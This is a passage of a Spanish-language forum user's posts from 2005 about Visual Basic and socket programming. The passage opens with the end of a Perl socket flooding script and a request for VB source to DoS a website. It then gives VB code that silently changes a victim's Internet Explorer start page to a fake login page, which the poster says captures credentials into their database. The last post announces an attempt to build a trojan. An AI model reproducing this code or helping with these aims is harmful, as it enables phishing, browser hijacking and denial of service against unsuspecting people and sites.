print $sock "$cadena\n";
print ".";
}
}

print "\n";
close($sock);
exit;

#http://l-bytes.tk



Ok... Bueno, si alguien me puede facilitar el source en VB para este tipo de aplicaciones para hacer DoS a una web... Se lo agradecería mucho... Saludos...
Mientras tanto sigo "estudiando" el tema de los sockets
#23
Programación Visual Basic / Pregunta interesante-VB
2 Septiembre 2005, 21:09 PM
Hola, bueno, hoy he creado una aplicación que lo que hace es que la persona que lo abre se le pone como página de incio de internet la que yo he configurado, esto lo he hecho servir para hacer como una especie de "fake" he puesto que se le ponga como página de inicio un falso inicio de sesión, lo rellena y llega a mi db XD que lista soy, eh? ajajajaj es coña


bueno, aki esta el code:



Const REG_SZ = 1
Const HKEY_CURRENT_USER = &H80000001
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)
    Dim Ret
   
    RegCreateKey hKey, strPath, Ret
   
    RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
   
    RegCloseKey Ret
End Sub

Private Sub Form_Load()
Dim strString As String

strString = Label1.Caption

SaveString HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main", "Start Page", strString
MsgBox ("ajajaj mira la pagina de inicio !"), vbInformation
End
End Sub




entonces, mi duda es esta:

en vez de:

MsgBox ("ajajaj mira la pagina de inicio !"), vbInformation

no se si vbInformation

corresponde a algo del mensaje d alerta o no xD

lo q yo quiero es q en vez de poner el mensaje ese, se abra una web, entonces en esa web, sera mia y hare una animacion o un juego, nose, el caso es q quiero q se abra una web, para q m orienteis, como seria mas o menos para q se abriera una web (orientadme sobre el code)

GRACIAS
ME PONGO QUE NOTIFIQUE RESPUESTAS  ;D
#24
bueno amiguetes foreros.. estoy intentando crear un troyano en vb, tengo una web de mucha ayuda:


http://www.elguruprogramador.com.ar/zonas/ver.asp?id=63


///

bueno, el caso es q como para saber correr primero se debe caminar estoy yendo de lo minimo a lo maxico y he intentado hacer un program que al abrirlo salga tu ip, LO SE HACER!!! pero mi ordenador me lo impide porq no etngo red local, si no, red inalambrica y entonces me da error en el localip

ntonces, como no tengo red local me impide poder compilar o previsualizar al picar play, mirad, aki una captura

espero q m podais ayudar...



CitarEjemplo 1.

Crear un Proyecto (EXE Estándar) y agregar el WinSock Control. Luego agregar una etiqueta vacía, es decir un Label. Despues introducimos el siguiente código.

Private Sub Form_Load()
   Label1.caption = WinSock1.LocalIP
End Sub

Este simple ejemplo nos da de forma rápida nuestro IP, aunque no estemos conectados a Internet el IP aparece igual, solo que siempre va a tomar el valor : 127.0.0.1

Ahora que sabemos manejar las propiedades podemos seguir con los Métodos. A continuación la lista de algunos de los Métodos más importantes del Control WinSock.




hago todo eso perfe y me sale todo perfe pero mi pc no m deja ni compilar ni previsualizar porq no tengo red local si no inalambrica

espero explicarme bien.....

aki captura: